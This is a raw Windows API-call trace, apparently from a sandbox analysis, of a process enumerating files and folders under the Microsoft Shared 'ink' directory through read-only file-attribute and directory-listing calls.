	[0050.849] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fi-FI" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fi-fi"), fInfoLevelId=0x0, lpFileInformation=0x12686828 | out: lpFileInformation=0x12686828*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7a0866, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7a0866, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0050.849] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fi-FI" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fi-fi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0050.850] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fi-FI\\*", lpFindFileData=0x123ed8b4 | out: lpFindFileData=0x123ed8b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7a0866, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7a0866, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0050.850] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed8d4 | out: lpFindFileData=0x123ed8d4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7a0866, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7a0866, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0050.850] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed8d4 | out: lpFindFileData=0x123ed8d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe47dd5b4, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe4a64ce1, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe4a64ce1, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1
	[0050.850] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed8d4 | out: lpFindFileData=0x123ed8d4*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0050.850] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0050.850] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fi-FI\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fi-fi\\tipresx.dll.mui"), fInfoLevelId=0x0, lpFileInformation=0x126868c8 | out: lpFileInformation=0x126868c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe47dd5b4, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe4a64ce1, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe4a64ce1, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00)) returned 1
	[0050.851] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fr-FR" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fr-fr"), fInfoLevelId=0x0, lpFileInformation=0x12686918 | out: lpFileInformation=0x12686918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x98159680, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x98159680, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0050.851] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fr-FR" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fr-fr"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0050.851] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fr-FR\\*", lpFindFileData=0x123ed8b4 | out: lpFindFileData=0x123ed8b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x98159680, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x98159680, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0050.851] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed8d4 | out: lpFindFileData=0x123ed8d4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x98159680, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x98159680, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0050.851] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed8d4 | out: lpFindFileData=0x123ed8d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8311729d, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8311729d, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8311729d, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1
	[0050.851] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed8d4 | out: lpFindFileData=0x123ed8d4*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0050.851] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0050.851] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fr-FR\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fr-fr\\tipresx.dll.mui"), fInfoLevelId=0x0, lpFileInformation=0x126869b8 | out: lpFileInformation=0x126869b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8311729d, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8311729d, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8311729d, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x1000)) returned 1
	[0050.851] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions"), fInfoLevelId=0x0, lpFileInformation=0x12686a08 | out: lpFileInformation=0x12686a08*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0050.852] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0050.852] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\*", lpFindFileData=0x123ed8b4 | out: lpFindFileData=0x123ed8b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0050.853] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed8d4 | out: lpFindFileData=0x123ed8d4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0050.853] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed8d4 | out: lpFindFileData=0x123ed8d4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7a0866, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7a0866, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="auxpad", cAlternateFileName="")) returned 1
	[0050.853] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed8d4 | out: lpFindFileData=0x123ed8d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f2b1a99, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8f2b1a99, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8f2b1a99, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xd4, dwReserved0=0x0, dwReserved1=0x0, cFileName="auxpad.xml", cAlternateFileName="")) returned 1
	[0050.853] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed8d4 | out: lpFindFileData=0x123ed8d4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7a0866, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7a0866, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="keypad", cAlternateFileName="")) returned 1
	[0050.853] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed8d4 | out: lpFindFileData=0x123ed8d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f47ab01, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8f47ab01, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8f47ab01, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x2d7, dwReserved0=0x0, dwReserved1=0x0, cFileName="keypad.xml", cAlternateFileName="")) returned 1
	[0050.853] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed8d4 | out: lpFindFileData=0x123ed8d4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7c69c0, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7c69c0, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="main", cAlternateFileName="")) returned 1
	[0050.853] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed8d4 | out: lpFindFileData=0x123ed8d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f513079, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8f513079, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8f513079, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x9655, dwReserved0=0x0, dwReserved1=0x0, cFileName="main.xml", cAlternateFileName="")) returned 1
	[0050.853] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed8d4 | out: lpFindFileData=0x123ed8d4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7a0866, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7a0866, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="numbers", cAlternateFileName="")) returned 1
	[0050.853] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed8d4 | out: lpFindFileData=0x123ed8d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f79a7b7, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8f79a7b7, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8f7c0915, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xd1, dwReserved0=0x0, dwReserved1=0x0, cFileName="numbers.xml", cAlternateFileName="")) returned 1
	[0050.853] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed8d4 | out: lpFindFileData=0x123ed8d4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7a0866, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7a0866, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="oskmenu", cAlternateFileName="")) returned 1
	[0050.853] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed8d4 | out: lpFindFileData=0x123ed8d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f80cbd1, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8f80cbd1, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8f832d2f, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xd7, dwReserved0=0x0, dwReserved1=0x0, cFileName="oskmenu.xml", cAlternateFileName="")) returned 1
	[0050.853] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed8d4 | out: lpFindFileData=0x123ed8d4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7c69c0, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7c69c0, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="osknumpad", cAlternateFileName="OSKNUM~1")) returned 1
	[0050.854] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed8d4 | out: lpFindFileData=0x123ed8d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8fdb3fc5, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8fdb3fc5, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8fdb3fc5, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xdb, dwReserved0=0x0, dwReserved1=0x0, cFileName="osknumpad.xml", cAlternateFileName="")) returned 1
	[0050.854] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed8d4 | out: lpFindFileData=0x123ed8d4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7c69c0, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7c69c0, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7c69c0, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="oskpred", cAlternateFileName="")) returned 1
	[0050.854] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed8d4 | out: lpFindFileData=0x123ed8d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8fe00281, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8fe00281, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8fe00281, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xd7, dwReserved0=0x0, dwReserved1=0x0, cFileName="oskpred.xml", cAlternateFileName="")) returned 1
	[0050.854] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed8d4 | out: lpFindFileData=0x123ed8d4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7c69c0, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="symbols", cAlternateFileName="")) returned 1
	[0050.854] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed8d4 | out: lpFindFileData=0x123ed8d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8fe7269b, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8fe7269b, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8fe7269b, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x24f, dwReserved0=0x0, dwReserved1=0x0, cFileName="symbols.xml", cAlternateFileName="")) returned 1
	[0050.854] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed8d4 | out: lpFindFileData=0x123ed8d4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7c69c0, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="web", cAlternateFileName="")) returned 1
	[0050.854] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed8d4 | out: lpFindFileData=0x123ed8d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90061861, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x90061861, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x90061861, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xcf, dwReserved0=0x0, dwReserved1=0x0, cFileName="web.xml", cAlternateFileName="")) returned 1
	[0050.854] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed8d4 | out: lpFindFileData=0x123ed8d4*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0050.854] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0050.855] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\auxpad"), fInfoLevelId=0x0, lpFileInformation=0x12686ff8 | out: lpFileInformation=0x12686ff8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7a0866, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7a0866, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0050.856] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\auxpad"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0050.856] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad\\*", lpFindFileData=0x123ed850 | out: lpFindFileData=0x123ed850*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7a0866, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7a0866, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0050.856] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed870 | out: lpFindFileData=0x123ed870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7a0866, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7a0866, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0050.856] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed870 | out: lpFindFileData=0x123ed870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f2d7bf7, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8f2d7bf7, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8f2d7bf7, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x59a, dwReserved0=0x0, dwReserved1=0x0, cFileName="auxbase.xml", cAlternateFileName="")) returned 1
	[0050.856] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed870 | out: lpFindFileData=0x123ed870*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0050.856] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0050.856] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml"), fInfoLevelId=0x0, lpFileInformation=0x12687098 | out: lpFileInformation=0x12687098*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f2d7bf7, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8f2d7bf7, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8f2d7bf7, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x59a)) returned 1
	[0050.857] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\auxpad.xml"), fInfoLevelId=0x0, lpFileInformation=0x126870e8 | out: lpFileInformation=0x126870e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f2b1a99, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8f2b1a99, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8f2b1a99, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xd4)) returned 1
	[0050.857] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad"), fInfoLevelId=0x0, lpFileInformation=0x12687138 | out: lpFileInformation=0x12687138*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7a0866, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7a0866, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
